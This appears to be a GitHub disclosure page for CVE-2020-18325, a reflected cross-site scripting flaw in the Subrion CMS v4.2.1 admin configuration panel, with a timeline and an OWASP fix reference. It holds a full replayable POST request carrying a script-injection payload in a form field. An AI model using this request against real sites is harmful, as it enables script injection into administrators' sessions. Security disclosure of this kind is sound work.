CVE-2020-18325: GitHub - hamm0nz/CVE-2020-18325: Exploit PoC for CVE-2020-18325

Multilple Cross Site Scripting (XSS) vulnerability exists in Intelliants Subrion CMS v4.2.1 in the Configuration panel.****Description

Subrion CMS is easy to install and simple to manage. Use it as a stand-alone application or in conjunction with other applications to create entry level sites, mid-sized or large sites.

Multiple Reflected Cross-site Scripting vulnerabilities were discovered in the Subrion CMS v.4.2.1 configuration panel, allowing a remote attacker to inject arbitrary JavaScript.

Date: 27-02-2022
Software Link: https://subrion.org
Exploit Author: HaMM0nz
CVE: CVE-2020-18325
Category: Web Application
Affected URL

• /panel/configuration/pictures/
• /panel/configuration/mail/
• /panel/configuration/miscellaneous/
• /panel/menus/add/

Proof of Concept

POST /panel/configuration/pictures/ HTTP/1.1
Host: 172.16.63.129
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.16.63.129/panel/configuration/pictures/
Content-Type: multipart/form-data; boundary=---------------------------17647740521660843247800008623
Content-Length: 5605
Connection: close
Cookie: INTELLI_7da515443a=2hen33trbsgsadue2rgcti4sr1; loader=loaded
Upgrade-Insecure-Requests: 1

-----------------------------17647740521660843247800008623
Content-Disposition: form-data; name="__st"

t9eQz0wrvfrlVO1rNDO9ZbPOB3mDmkNw8k17yS6f
-----------------------------17647740521660843247800008623
Content-Disposition: form-data; name="c[image_quality]"

1
-----------------------------17647740521660843247800008623
Content-Disposition: form-data; name="v[image_quality]"

75
-----------------------------17647740521660843247800008623
Content-Disposition: form-data; name="c[allow_animated_gifs]"
1
-----------------------------17647740521660843247800008623
Content-Disposition: form-data; name="v[allow_animated_gifs]"
0
-----------------------------17647740521660843247800008623
Content-Disposition: form-data; name="v[allow_animated_gifs]"
test"><script>alert(1)</script>1qazx

Timeline

Discovery and report : 24 June 2019
CVE ID was assigned : 11 Aug 2021
Public : 27 February 2022

Solution

Consider complying to the OWASP’s XSS prevention guidelines. (https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)